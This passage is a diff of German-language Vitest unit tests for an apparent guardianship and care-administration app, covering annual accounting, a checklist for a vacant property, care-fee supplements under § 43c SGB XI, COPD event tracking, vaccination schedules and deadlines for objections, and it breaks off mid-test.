expect(daten.hinweise.some((h) => h.includes('keinen Saldostand'))).toBe(true)
|
||||
})
|
||||
|
||||
it('nimmt als Anfangsbestand den Stand am Tag vor Beginn des Jahres', () => {
|
||||
expect(saldoZumStichtag(konten[0]!.saldostaende, tag('2025-03-14'))?.betragCent).toBe(500000n)
|
||||
expect(saldoZumStichtag(konten[0]!.saldostaende, tag('2025-03-13'))).toBeNull()
|
||||
})
|
||||
|
||||
it('vergibt laufende Belegnummern in Datumsreihenfolge', () => {
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'VOLL_1865',
|
||||
konten,
|
||||
buchungen,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
expect(daten.belege.map((b) => b.nummer)).toEqual([1, 2])
|
||||
expect(daten.belege[0]!.buchungId).toBe('rente')
|
||||
expect(daten.belege[1]!.buchungId).toBe('heim')
|
||||
})
|
||||
|
||||
it('verliert bei der Gruppierung keinen Cent', () => {
|
||||
const viele: BuchungEingabe[] = Array.from({ length: 37 }, (_, i) =>
|
||||
buchung({
|
||||
id: `x-${i}`,
|
||||
datum: tag('2025-07-01'),
|
||||
richtung: i % 2 === 0 ? 'EINNAHME' : 'AUSGABE',
|
||||
kategorie: i % 2 === 0 ? 'ZINSEN' : 'BANKGEBUEHREN',
|
||||
betragCent: BigInt(i * 7 + 1),
|
||||
}),
|
||||
)
|
||||
const daten = rechnungslegungBerechnen({
|
||||
von: jahr.von,
|
||||
bis: jahr.bis,
|
||||
variante: 'VOLL_1865',
|
||||
konten,
|
||||
buchungen: viele,
|
||||
betreuungsjahr: jahr,
|
||||
})
|
||||
|
||||
const einnahmenErwartet = summe(
|
||||
viele.filter((b) => b.richtung === 'EINNAHME').map((b) => b.betragCent),
|
||||
)
|
||||
const ausgabenErwartet = summe(
|
||||
viele.filter((b) => b.richtung === 'AUSGABE').map((b) => b.betragCent),
|
||||
)
|
||||
expect(daten.summeEinnahmenCent).toBe(einnahmenErwartet)
|
||||
expect(daten.summeAusgabenCent).toBe(ausgabenErwartet)
|
||||
expect(summe(daten.einnahmen.map((g) => g.summeCent))).toBe(einnahmenErwartet)
|
||||
expect(summe(daten.ausgaben.map((g) => g.summeCent))).toBe(ausgabenErwartet)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,199 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { tag } from '@/lib/fristen/datum'
|
||||
import {
|
||||
leerstandCheckliste,
|
||||
naechsteFaelligkeit,
|
||||
naechsterStichtagImJahr,
|
||||
} from '@/lib/immobilie/leerstand-checkliste'
|
||||
import {
|
||||
durchschnittlicheJahreskosten,
|
||||
kostenkontoAufbauen,
|
||||
} from '@/lib/immobilie/kostenkonto'
|
||||
import { inventarNotizLesen, inventarNotizSchreiben, inventarSumme } from '@/lib/immobilie/inventar'
|
||||
import { centAusText } from '@/lib/validierung/substanz'
|
||||
|
||||
describe('Pflichten-Checkliste bei Leerstand', () => {
|
||||
const heute = tag(2026, 3, 15)
|
||||
|
||||
it('nennt die Meldung an den Gebäudeversicherer als dringenden Punkt', () => {
|
||||
const punkte = leerstandCheckliste(tag(2026, 1, 10), heute)
|
||||
const versicherung = punkte.find((p) => p.schluessel === 'gebaeudeversicherung-leerstand-melden')
|
||||
|
||||
expect(versicherung).toBeDefined()
|
||||
expect(versicherung!.dringend).toBe(true)
|
||||
expect(versicherung!.beschreibung).toMatch(/leistungsfrei/i)
|
||||
})
|
||||
|
||||
it('legt den Frostschutz auf den Oktober', () => {
|
||||
const punkte = leerstandCheckliste(tag(2026, 1, 10), heute)
|
||||
const frostschutz = punkte.find((p) => p.schluessel === 'frostschutz')
|
||||
|
||||
expect(frostschutz).toBeDefined()
|
||||
expect(frostschutz!.faelligAm.getUTCMonth() + 1).toBe(10)
|
||||
expect(frostschutz!.faelligAm.getUTCFullYear()).toBe(2026)
|
||||
expect(frostschutz!.wiederholungRrule).toContain('BYMONTH=10')
|
||||
})
|
||||
|
||||
it('schiebt den Frostschutz ins Folgejahr, wenn der Oktober schon vorbei ist', () => {
|
||||
const punkte = leerstandCheckliste(tag(2026, 1, 10), tag(2026, 11, 2))
|
||||
const frostschutz = punkte.find((p) => p.schluessel === 'frostschutz')!
|
||||
|
||||
expect(frostschutz.faelligAm.getUTCFullYear()).toBe(2027)
|
||||
expect(frostschutz.faelligAm.getUTCMonth() + 1).toBe(10)
|
||||
})
|
||||
|
||||
it('lässt den Kontrollgang wöchentlich wiederkehren', () => {
|
||||
const kontrollgang = leerstandCheckliste(tag(2026, 1, 10), heute).find(
|
||||
(p) => p.schluessel === 'kontrollgang',
|
||||
)!
|
||||
|
||||
expect(kontrollgang.wiederholungRrule).toBe('FREQ=WEEKLY;INTERVAL=1')
|
||||
})
|
||||
|
||||
it('setzt keine Fälligkeit in die Vergangenheit', () => {
|
||||
const punkte = leerstandCheckliste(tag(2020, 1, 1), heute)
|
||||
for (const punkt of punkte) {
|
||||
expect(punkt.faelligAm.getTime()).toBeGreaterThanOrEqual(heute.getTime())
|
||||
}
|
||||
})
|
||||
|
||||
it('deckt alle Pflichten ab, die bei Leerstand teuer werden können', () => {
|
||||
const schluessel = leerstandCheckliste(null, heute).map((p) => p.schluessel)
|
||||
|
||||
expect(schluessel).toEqual(
|
||||
expect.arrayContaining([
|
||||
'gebaeudeversicherung-leerstand-melden',
|
||||
'kontrollgang',
|
||||
'frostschutz',
|
||||
'winterdienst-verkehrssicherung',
|
||||
'zaehlerstaende',
|
||||
'schluesselverzeichnis',
|
||||
'fotodokumentation',
|
||||
'briefkasten-nachsendeauftrag',
|
||||
'rauchmelder',
|
||||
'heizungswartung',
|
||||
]),
|
||||
)
|
||||
})
|
||||
|
||||
it('findet den nächsten Oktobertermin auch am Stichtag selbst', () => {
|
||||
expect(naechsterStichtagImJahr(tag(2026, 10, 1), 10, 1)).toEqual(tag(2026, 10, 1))
|
||||
expect(naechsterStichtagImJahr(tag(2026, 10, 2), 10, 1)).toEqual(tag(2027, 10, 1))
|
||||
})
|
||||
|
||||
it('rechnet den nächsten Kontrollgang eine Woche nach dem Erledigen', () => {
|
||||
expect(naechsteFaelligkeit('FREQ=WEEKLY;INTERVAL=1', tag(2026, 3, 15))).toEqual(
|
||||
tag(2026, 3, 22),
|
||||
)
|
||||
})
|
||||
|
||||
it('rechnet den nächsten Frostschutz auf den Oktober des Folgejahres', () => {
|
||||
expect(
|
||||
naechsteFaelligkeit('FREQ=YEARLY;BYMONTH=10;BYMONTHDAY=1', tag(2026, 10, 1)),
|
||||
).toEqual(tag(2027, 10, 1))
|
||||
})
|
||||
})
|
||||
|
||||
describe('Kostenkonto der Immobilie', () => {
|
||||
const buchungen = [
|
||||
{ datum: tag(2025, 2, 3), betragCent: 12_000n, richtung: 'AUSGABE' as const, kategorie: 'GRUNDSTEUER' as const },
|
||||
{ datum: tag(2025, 5, 3), betragCent: 12_000n, richtung: 'AUSGABE' as const, kategorie: 'GRUNDSTEUER' as const },
|
||||
{ datum: tag(2025, 7, 1), betragCent: 48_000n, richtung: 'AUSGABE' as const, kategorie: 'IMMOBILIE_BETRIEBSKOSTEN' as const },
|
||||
{ datum: tag(2025, 9, 9), betragCent: 150_000n, richtung: 'AUSGABE' as const, kategorie: 'IMMOBILIE_INSTANDHALTUNG' as const },
|
||||
{ datum: tag(2026, 2, 3), betragCent: 13_000n, richtung: 'AUSGABE' as const, kategorie: 'GRUNDSTEUER' as const },
|
||||
// Fremde Kategorien und Umbuchungen bleiben draußen.
|
||||
{ datum: tag(2025, 3, 1), betragCent: 90_000n, richtung: 'AUSGABE' as const, kategorie: 'HEIMKOSTEN' as const },
|
||||
{ datum: tag(2025, 3, 2), betragCent: 50_000n, richtung: 'UMBUCHUNG' as const, kategorie: 'GRUNDSTEUER' as const },
|
||||
]
|
||||
|
||||
it('summiert je Jahr und Kategorie', () => {
|
||||
const jahre = kostenkontoAufbauen(buchungen)
|
||||
|
||||
expect(jahre.map((j) => j.jahr)).toEqual([2026, 2025])
|
||||
|
||||
const zweitausendfuenfundzwanzig = jahre.find((j) => j.jahr === 2025)!
|
||||
expect(zweitausendfuenfundzwanzig.ausgabenCent).toBe(222_000n)
|
||||
expect(
|
||||
zweitausendfuenfundzwanzig.ausgaben.find((z) => z.kategorie === 'GRUNDSTEUER')?.summeCent,
|
||||
).toBe(24_000n)
|
||||
expect(
|
||||
zweitausendfuenfundzwanzig.ausgaben.find((z) => z.kategorie === 'GRUNDSTEUER')?.anzahl,
|
||||
).toBe(2)
|
||||
})
|
||||
|
||||
it('lässt Umbuchungen und fremde Kategorien außen vor', () => {
|
||||
const jahre = kostenkontoAufbauen(buchungen)
|
||||
const zweitausendfuenfundzwanzig = jahre.find((j) => j.jahr === 2025)!
|
||||
|
||||
expect(zweitausendfuenfundzwanzig.anzahlBuchungen).toBe(4)
|
||||
})
|
||||
|
||||
it('zählt Mieteinnahmen als Einnahme gegen die Kosten', () => {
|
||||
const jahre = kostenkontoAufbauen([
|
||||
...buchungen,
|
||||
{ datum: tag(2025, 6, 1), betragCent: 60_000n, richtung: 'EINNAHME' as const, kategorie: 'MIETEINNAHME' as const },
|
||||
])
|
||||
const zweitausendfuenfundzwanzig = jahre.find((j) => j.jahr === 2025)!
|
||||
|
||||
expect(zweitausendfuenfundzwanzig.einnahmenCent).toBe(60_000n)
|
||||
expect(zweitausendfuenfundzwanzig.saldoCent).toBe(60_000n - 222_000n)
|
||||
})
|
||||
|
||||
it('rechnet den Durchschnitt nur über abgeschlossene Jahre', () => {
|
||||
const jahre = kostenkontoAufbauen(buchungen)
|
||||
expect(durchschnittlicheJahreskosten(jahre, 2026)).toBe(222_000n)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Inventarliste', () => {
|
||||
it('schreibt und liest Raum und Verbleib verlustfrei', () => {
|
||||
const text = inventarNotizSchreiben({
|
||||
raum: 'Wohnzimmer',
|
||||
verbleib: 'im Haus',
|
||||
bemerkung: 'Standuhr des Großvaters',
|
||||
})
|
||||
|
||||
expect(inventarNotizLesen(text)).toEqual({
|
||||
raum: 'Wohnzimmer',
|
||||
verbleib: 'im Haus',
|
||||
bemerkung: 'Standuhr des Großvaters',
|
||||
})
|
||||
})
|
||||
|
||||
it('rettet eine formlose Notiz aus einem anderen Modul in die Bemerkung', () => {
|
||||
expect(inventarNotizLesen('von Hand notiert')).toEqual({
|
||||
raum: null,
|
||||
verbleib: null,
|
||||
bemerkung: 'von Hand notiert',
|
||||
})
|
||||
})
|
||||
|
||||
it('summiert die geschätzten Werte', () => {
|
||||
expect(
|
||||
inventarSumme([{ wertCent: 25_000n }, { wertCent: null }, { wertCent: 5_000n }]),
|
||||
).toBe(30_000n)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Betragseingabe', () => {
|
||||
it('liest deutsche und englische Schreibweise als Cent', () => {
|
||||
expect(centAusText('1.234,56')).toBe(123_456n)
|
||||
expect(centAusText('1234.56')).toBe(123_456n)
|
||||
expect(centAusText('8,15')).toBe(815n)
|
||||
expect(centAusText('1.000')).toBe(100_000n)
|
||||
expect(centAusText('12')).toBe(1_200n)
|
||||
expect(centAusText('-45,90')).toBe(-4_590n)
|
||||
})
|
||||
|
||||
it('rundet nicht über Fließkomma - 8,15 Euro bleiben 815 Cent', () => {
|
||||
expect(centAusText('8,15')).toBe(815n)
|
||||
expect(centAusText('0,07')).toBe(7n)
|
||||
expect(centAusText('1,1')).toBe(110n)
|
||||
})
|
||||
|
||||
it('weist Unsinn zurück', () => {
|
||||
expect(centAusText('viel')).toBeNull()
|
||||
expect(centAusText('')).toBeNull()
|
||||
expect(centAusText('1,234')).toBeNull()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,303 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { tag } from '@/lib/fristen/datum'
|
||||
import {
|
||||
anteilCent,
|
||||
leistungszuschlagBerechnen,
|
||||
stufeFuerMonate,
|
||||
verweildauerMonate,
|
||||
} from '@/lib/pflege/leistungszuschlag'
|
||||
import { LEISTUNGSZUSCHLAG_STAFFEL, LEISTUNGSZUSCHLAG_STAND } from '@/lib/pflege/konstanten'
|
||||
import { abwesenheitstageJeJahr, abwesenheitstageGesamt, tageEines } from '@/lib/pflege/abwesenheit'
|
||||
import {
|
||||
exazerbationenJeJahr,
|
||||
krankenhaustageJeJahr,
|
||||
verlaufAuswerten,
|
||||
verlaufZusammenfassung,
|
||||
verschlechterungErkannt,
|
||||
} from '@/lib/pflege/verlauf'
|
||||
import { impfstatusBerechnen, impfungErkennen, offeneImpfungen } from '@/lib/pflege/impfungen'
|
||||
import { detailsFormatieren, detailsLesen } from '@/lib/pflege/ereignis-details'
|
||||
|
||||
describe('Leistungszuschlag nach § 43c SGB XI', () => {
|
||||
it('führt ein Stand-Datum mit, weil der Gesetzgeber die Staffel ändert', () => {
|
||||
expect(LEISTUNGSZUSCHLAG_STAND).toBe('01.01.2024')
|
||||
expect(LEISTUNGSZUSCHLAG_STAFFEL.map((s) => s.prozent)).toEqual([15, 30, 50, 75])
|
||||
})
|
||||
|
||||
it('zählt die vollendeten Monate seit dem Einzug', () => {
|
||||
expect(verweildauerMonate(tag(2026, 1, 15), tag(2026, 1, 15))).toBe(0)
|
||||
expect(verweildauerMonate(tag(2026, 1, 15), tag(2026, 2, 14))).toBe(0)
|
||||
expect(verweildauerMonate(tag(2026, 1, 15), tag(2026, 2, 15))).toBe(1)
|
||||
expect(verweildauerMonate(tag(2026, 1, 31), tag(2026, 3, 30))).toBe(1)
|
||||
})
|
||||
|
||||
it('trifft die Stufengrenzen genau', () => {
|
||||
expect(stufeFuerMonate(0).prozent).toBe(15)
|
||||
expect(stufeFuerMonate(11).prozent).toBe(15)
|
||||
expect(stufeFuerMonate(12).prozent).toBe(30)
|
||||
expect(stufeFuerMonate(23).prozent).toBe(30)
|
||||
expect(stufeFuerMonate(24).prozent).toBe(50)
|
||||
expect(stufeFuerMonate(35).prozent).toBe(50)
|
||||
expect(stufeFuerMonate(36).prozent).toBe(75)
|
||||
expect(stufeFuerMonate(240).prozent).toBe(75)
|
||||
})
|
||||
|
||||
it('springt am Tag des Jahrestages auf die nächste Stufe', () => {
|
||||
const einzugAm = tag(2025, 1, 15)
|
||||
const eigenanteilCent = 150_000n // 1.500,00 Euro
|
||||
|
||||
const vorher = leistungszuschlagBerechnen({
|
||||
einzugAm,
|
||||
eigenanteilCent,
|
||||
stichtag: tag(2026, 1, 14),
|
||||
})
|
||||
const nachher = leistungszuschlagBerechnen({
|
||||
einzugAm,
|
||||
eigenanteilCent,
|
||||
stichtag: tag(2026, 1, 15),
|
||||
})
|
||||
|
||||
expect(vorher.prozent).toBe(15)
|
||||
expect(vorher.zuschlagCent).toBe(22_500n)
|
||||
expect(nachher.prozent).toBe(30)
|
||||
expect(nachher.zuschlagCent).toBe(45_000n)
|
||||
})
|
||||
|
||||
it('sagt, ab wann die nächste Stufe greift und was sie bringt', () => {
|
||||
const ergebnis = leistungszuschlagBerechnen({
|
||||
einzugAm: tag(2026, 1, 15),
|
||||
eigenanteilCent: 150_000n,
|
||||
stichtag: tag(2026, 8, 22),
|
||||
})
|
||||
|
||||
expect(ergebnis.naechsteStufe?.stufe.prozent).toBe(30)
|
||||
expect(ergebnis.naechsteStufe?.abDatum).toEqual(tag(2027, 1, 15))
|
||||
expect(ergebnis.naechsteStufe?.mehrCent).toBe(22_500n)
|
||||
expect(ergebnis.naechsteStufe?.tageBis).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('hat ab dem vierten Jahr keine nächste Stufe mehr', () => {
|
||||
const ergebnis = leistungszuschlagBerechnen({
|
||||
einzugAm: tag(2020, 1, 1),
|
||||
eigenanteilCent: 150_000n,
|
||||
stichtag: tag(2026, 1, 1),
|
||||
})
|
||||
|
||||
expect(ergebnis.prozent).toBe(75)
|
||||
expect(ergebnis.naechsteStufe).toBeNull()
|
||||
})
|
||||
|
||||
it('rechnet ohne Einzugsdatum nicht, sondern sagt warum', () => {
|
||||
const ergebnis = leistungszuschlagBerechnen({ einzugAm: null, eigenanteilCent: 150_000n })
|
||||
|
||||
expect(ergebnis.berechenbar).toBe(false)
|
||||
expect(ergebnis.hinweise[0]).toMatch(/Einzugsdatum/)
|
||||
})
|
||||
|
||||
it('weist darauf hin, dass der Zuschlag nur den Pflegeanteil betrifft', () => {
|
||||
const ergebnis = leistungszuschlagBerechnen({
|
||||
einzugAm: tag(2025, 1, 15),
|
||||
eigenanteilCent: 150_000n,
|
||||
stichtag: tag(2026, 3, 1),
|
||||
})
|
||||
|
||||
expect(ergebnis.hinweise.join(' ')).toMatch(/Unterkunft, Verpflegung/)
|
||||
})
|
||||
|
||||
it('rundet Prozentanteile kaufmännisch auf ganze Cent', () => {
|
||||
expect(anteilCent(101n, 15)).toBe(15n)
|
||||
expect(anteilCent(100_000n, 30)).toBe(30_000n)
|
||||
expect(anteilCent(333n, 15)).toBe(50n)
|
||||
})
|
||||
|
||||
it('warnt bei Pflegegrad 1, dass § 43c nicht greift', () => {
|
||||
const ergebnis = leistungszuschlagBerechnen({
|
||||
einzugAm: tag(2025, 1, 15),
|
||||
eigenanteilCent: 150_000n,
|
||||
pflegegrad: 1,
|
||||
stichtag: tag(2026, 3, 1),
|
||||
})
|
||||
|
||||
expect(ergebnis.hinweise.join(' ')).toMatch(/Pflegegrad 2/)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Abwesenheitstage', () => {
|
||||
it('summiert die Tage je Kalenderjahr', () => {
|
||||
const jahre = abwesenheitstageJeJahr([
|
||||
{ datum: tag(2026, 2, 3), bisDatum: tag(2026, 2, 13), abwesenheitstage: null, art: 'KRANKENHAUS' },
|
||||
{ datum: tag(2026, 7, 1), bisDatum: tag(2026, 7, 8), abwesenheitstage: null, art: 'KRANKENHAUS' },
|
||||
{ datum: tag(2025, 11, 4), bisDatum: tag(2025, 11, 9), abwesenheitstage: null, art: 'KRANKENHAUS' },
|
||||
])
|
||||
|
||||
expect(jahre).toEqual([
|
||||
{ jahr: 2026, tage: 17, ereignisse: 2 },
|
||||
{ jahr: 2025, tage: 5, ereignisse: 1 },
|
||||
])
|
||||
expect(abwesenheitstageGesamt(jahre)).toBe(22)
|
||||
})
|
||||
|
||||
it('teilt einen Aufenthalt über den Jahreswechsel auf beide Jahre auf', () => {
|
||||
const jahre = abwesenheitstageJeJahr([
|
||||
{ datum: tag(2025, 12, 28), bisDatum: tag(2026, 1, 4), abwesenheitstage: null, art: 'KRANKENHAUS' },
|
||||
])
|
||||
|
||||
expect(jahre.find((j) => j.jahr === 2025)?.tage).toBe(4)
|
||||
expect(jahre.find((j) => j.jahr === 2026)?.tage).toBe(3)
|
||||
expect(abwesenheitstageGesamt(jahre)).toBe(7)
|
||||
})
|
||||
|
||||
it('lässt eine von Hand eingetragene Tageszahl unangetastet', () => {
|
||||
const jahre = abwesenheitstageJeJahr([
|
||||
{ datum: tag(2026, 2, 3), bisDatum: tag(2026, 2, 13), abwesenheitstage: 9, art: 'KRANKENHAUS' },
|
||||
])
|
||||
|
||||
expect(jahre[0]?.tage).toBe(9)
|
||||
})
|
||||
|
||||
it('zählt einen laufenden Aufenthalt ohne Entlassdatum nicht mit', () => {
|
||||
const jahre = abwesenheitstageJeJahr([
|
||||
{ datum: tag(2026, 8, 1), bisDatum: null, abwesenheitstage: null, art: 'KRANKENHAUS' },
|
||||
])
|
||||
|
||||
expect(jahre).toEqual([])
|
||||
})
|
||||
|
||||
it('rechnet die Tage eines einzelnen Ereignisses', () => {
|
||||
expect(
|
||||
tageEines({ datum: tag(2026, 2, 3), bisDatum: tag(2026, 2, 13), abwesenheitstage: null, art: 'KRANKENHAUS' }),
|
||||
).toBe(10)
|
||||
expect(
|
||||
tageEines({ datum: tag(2026, 2, 3), bisDatum: null, abwesenheitstage: 4, art: 'KRANKENHAUS' }),
|
||||
).toBe(4)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Gesundheitsverlauf bei COPD', () => {
|
||||
const ereignisse = [
|
||||
{ datum: tag(2025, 1, 20), bisDatum: null, art: 'EXAZERBATION' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2025, 11, 2), bisDatum: null, art: 'EXAZERBATION' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2026, 1, 5), bisDatum: null, art: 'EXAZERBATION' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2026, 2, 3), bisDatum: null, art: 'EXAZERBATION' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2026, 2, 3), bisDatum: tag(2026, 2, 13), art: 'KRANKENHAUS' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2026, 5, 9), bisDatum: null, art: 'STURZ' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2026, 9, 14), bisDatum: null, art: 'EXAZERBATION' as const, abwesenheitstage: null },
|
||||
{ datum: tag(2026, 6, 1), bisDatum: null, art: 'IMPFUNG' as const, abwesenheitstage: null },
|
||||
]
|
||||
|
||||
it('zählt Exazerbationen je Jahr', () => {
|
||||
expect(exazerbationenJeJahr(ereignisse)).toEqual([
|
||||
{ jahr: 2026, anzahl: 3 },
|
||||
{ jahr: 2025, anzahl: 2 },
|
||||
])
|
||||
})
|
||||
|
||||
it('zählt Krankenhaustage je Jahr', () => {
|
||||
expect(krankenhaustageJeJahr(ereignisse)).toEqual([{ jahr: 2026, tage: 10 }])
|
||||
})
|
||||
|
||||
it('stellt Schübe, Krankenhaustage und Stürze je Jahr zusammen', () => {
|
||||
const jahre = verlaufAuswerten(ereignisse)
|
||||
const zweitausendsechsundzwanzig = jahre.find((j) => j.jahr === 2026)!
|
||||
|
||||
expect(zweitausendsechsundzwanzig.exazerbationen).toBe(3)
|
||||
expect(zweitausendsechsundzwanzig.krankenhausaufenthalte).toBe(1)
|
||||
expect(zweitausendsechsundzwanzig.krankenhaustage).toBe(10)
|
||||
expect(zweitausendsechsundzwanzig.stuerze).toBe(1)
|
||||
expect(zweitausendsechsundzwanzig.ereignisseGesamt).toBe(6)
|
||||
expect(jahre.find((j) => j.jahr === 2025)!.exazerbationen).toBe(2)
|
||||
})
|
||||
|
||||
it('erkennt die Zunahme gegenüber dem Vorjahr als Argument für eine Neubegutachtung', () => {
|
||||
const jahre = verlaufAuswerten(ereignisse)
|
||||
const befund = verschlechterungErkannt(jahre, 2026)
|
||||
|
||||
expect(befund.erkannt).toBe(true)
|
||||
expect(befund.begruendung).toMatch(/Zunahme/)
|
||||
})
|
||||
|
||||
it('erkennt keine Zunahme, wenn kein Vorjahr erfasst ist', () => {
|
||||
expect(verschlechterungErkannt(verlaufAuswerten(ereignisse), 2025).erkannt).toBe(false)
|
||||
})
|
||||
|
||||
it('formuliert einen Satz für den Jahresbericht', () => {
|
||||
const jahre = verlaufAuswerten(ereignisse)
|
||||
const satz = verlaufZusammenfassung(jahre.find((j) => j.jahr === 2026)!)
|
||||
|
||||
expect(satz).toContain('2026')
|
||||
expect(satz).toContain('3 akute Verschlechterungen')
|
||||
expect(satz).toContain('10 Tagen')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Impfungen bei COPD', () => {
|
||||
it('erkennt die Impfung am Titel', () => {
|
||||
expect(impfungErkennen('Grippeimpfung 2026')).toBe('grippe')
|
||||
expect(impfungErkennen('Pneumokokken (PCV20)')).toBe('pneumokokken')
|
||||
expect(impfungErkennen('COVID-19 Auffrischung')).toBe('covid')
|
||||
expect(impfungErkennen('RSV-Impfung')).toBe('rsv')
|
||||
expect(impfungErkennen('Zahnarzt')).toBeNull()
|
||||
})
|
||||
|
||||
it('meldet eine nicht dokumentierte Impfung als unbekannt', () => {
|
||||
const status = impfstatusBerechnen([], tag(2026, 8, 22))
|
||||
|
||||
expect(status).toHaveLength(4)
|
||||
expect(status.every((s) => s.lage === 'unbekannt')).toBe(true)
|
||||
expect(offeneImpfungen(status)).toHaveLength(4)
|
||||
})
|
||||
|
||||
it('macht die Grippeimpfung nach einem Jahr wieder fällig, frühestens im Oktober', () => {
|
||||
const status = impfstatusBerechnen(
|
||||
[{ datum: tag(2025, 10, 8), titel: 'Grippeimpfung' }],
|
||||
tag(2026, 8, 22),
|
||||
)
|
||||
const grippe = status.find((s) => s.empfehlung.schluessel === 'grippe')!
|
||||
|
||||
expect(grippe.faelligAm).toEqual(tag(2026, 10, 8))
|
||||
expect(grippe.lage).toBe('bald')
|
||||
})
|
||||
|
||||
it('führt die einmalige Pneumokokkenimpfung als erledigt', () => {
|
||||
const status = impfstatusBerechnen(
|
||||
[{ datum: tag(2024, 3, 1), titel: 'Pneumokokken PCV20' }],
|
||||
tag(2026, 8, 22),
|
||||
)
|
||||
const pneumo = status.find((s) => s.empfehlung.schluessel === 'pneumokokken')!
|
||||
|
||||
expect(pneumo.lage).toBe('erledigt')
|
||||
expect(pneumo.faelligAm).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Zusatzangaben der Schnellerfassung', () => {
|
||||
it('schreibt Schweregrad und Auslöser in die verschlüsselte Beschreibung', () => {
|
||||
const text = detailsFormatieren(
|
||||
'EXAZERBATION',
|
||||
{ schweregrad: 'schwer', ausloeser: 'Atemwegsinfekt', stationaer: 'ja' },
|
||||
'Notarzt gerufen.',
|
||||
)
|
||||
|
||||
expect(text).toContain('Schweregrad: schwer')
|
||||
expect(text).toContain('Auslöser: Atemwegsinfekt')
|
||||
expect(text).toContain('Notarzt gerufen.')
|
||||
})
|
||||
|
||||
it('liest die Angaben verlustfrei zurück', () => {
|
||||
const text = detailsFormatieren(
|
||||
'SAUERSTOFFVERSORGUNG',
|
||||
{ fluss: '2', stundenProTag: '16', geraet: 'Konzentrator Philips' },
|
||||
'Nachts durchgehend.',
|
||||
)
|
||||
const gelesen = detailsLesen('SAUERSTOFFVERSORGUNG', text)
|
||||
|
||||
expect(gelesen.werte.fluss).toBe('2')
|
||||
expect(gelesen.werte.stundenProTag).toBe('16')
|
||||
expect(gelesen.werte.geraet).toBe('Konzentrator Philips')
|
||||
expect(gelesen.freitext).toBe('Nachts durchgehend.')
|
||||
})
|
||||
|
||||
it('gibt null zurück, wenn nichts eingetragen wurde', () => {
|
||||
expect(detailsFormatieren('STURZ', {}, null)).toBeNull()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,638 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { alsIsoTag, tag } from '@/lib/fristen/datum'
|
||||
import { betragZuCent, centZuEingabe } from '@/lib/sozialhilfe/betrag'
|
||||
import { nochNichtUebernommen, STANDARDUNTERLAGEN } from '@/lib/sozialhilfe/checkliste'
|
||||
import { aufWerktagSchieben, bayerischerFeiertag, bussUndBettag, istWerktag } from '@/lib/sozialhilfe/feiertage'
|
||||
import {
|
||||
abwesenheitSchaetzen,
|
||||
heimkostenAuswerten,
|
||||
jahresverlaufBilden,
|
||||
leistungszuschlagCent,
|
||||
leistungszuschlagProzent,
|
||||
tageImMonat,
|
||||
verweildauerMonate,
|
||||
} from '@/lib/sozialhilfe/heimkosten'
|
||||
import { LEISTUNGSKATALOG, nochNichtAngelegt } from '@/lib/sozialhilfe/leistungskatalog'
|
||||
import { trackerFortschritt } from '@/lib/sozialhilfe/nachforderungen'
|
||||
import { rechtsbehelfsfristBerechnen, zugangsvermutung } from '@/lib/sozialhilfe/rechtsbehelf'
|
||||
import { ARGUMENTATIONSHILFEN, VORBEHALT } from '@/lib/sozialhilfe/schonvermoegen'
|
||||
import { freibetragVergleichen, uebersichtBilden } from '@/lib/sozialhilfe/vermoegensuebersicht'
|
||||
|
||||
/**
|
||||
* Diese Tests beschreiben, was fachlich gelten soll - nicht, welche
|
||||
* Funktion aufgerufen wird. Keine Datenbank, keine Uhrzeiten, keine
|
||||
* Zufälligkeiten: Fristen müssen auch am 29. Februar stimmen.
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// Widerspruchsfrist
|
||||
// =============================================================================
|
||||
|
||||
describe('Widerspruchsfrist gegen einen Bescheid', () => {
|
||||
it('endet einen Monat nach dem Zugang, gerechnet vom Zugangstag', () => {
|
||||
// Zugang 15.03.2026 (Sonntag ist der 15.03.2026 nicht - siehe unten),
|
||||
// ein Monat: der Tag mit derselben Zahl im Folgemonat.
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2026, 4, 15),
|
||||
fristMonate: 1,
|
||||
heute: tag(2026, 4, 20),
|
||||
})
|
||||
|
||||
expect(ergebnis.berechenbar).toBe(true)
|
||||
expect(alsIsoTag(ergebnis.rechnerischesEnde!)).toBe('2026-05-15')
|
||||
expect(alsIsoTag(ergebnis.widerspruchMoeglichBis!)).toBe('2026-05-15')
|
||||
expect(ergebnis.verschoben).toBe(false)
|
||||
})
|
||||
|
||||
it('rechnet über die Monatsgrenze: 31.01. plus ein Monat ist der 28.02.', () => {
|
||||
// Der klassische Stolperstein. § 188 Abs. 3 BGB: Fehlt der Tag mit
|
||||
// derselben Zahl im Zielmonat, endet die Frist am letzten Tag des
|
||||
// Monats. Der 28.02.2025 ist ein Freitag, es wird nichts verschoben.
|
||||
const ergebnis = rechtsbehelfsfristBerechnen({
|
||||
zugegangenAm: tag(2025, 1, 31),
|
||||
fristMonate: 1,
|
||||
heute: tag(2025, 2, 1),
|
||||
})
|
||||
|
||||
expect(alsIsoTag(ergebnis.rechnerischesEnde!)).toBe('2025-02-28')
|
||||
expect(alsIsoTag(ergebnis.widerspruchMoeglichBis!)).toBe('2025-02-28')
|
||||
expect(ergebnis.verschoben).toBe(false)
|
||||
})
|
||||
|
||||
it('schiebt ein Fristende am Wochenende auf den nächsten Werktag', () => {
|
||||
// Zugang 31.01.2026 -> rechnerisch 28.02.2026, das ist ein Samstag.
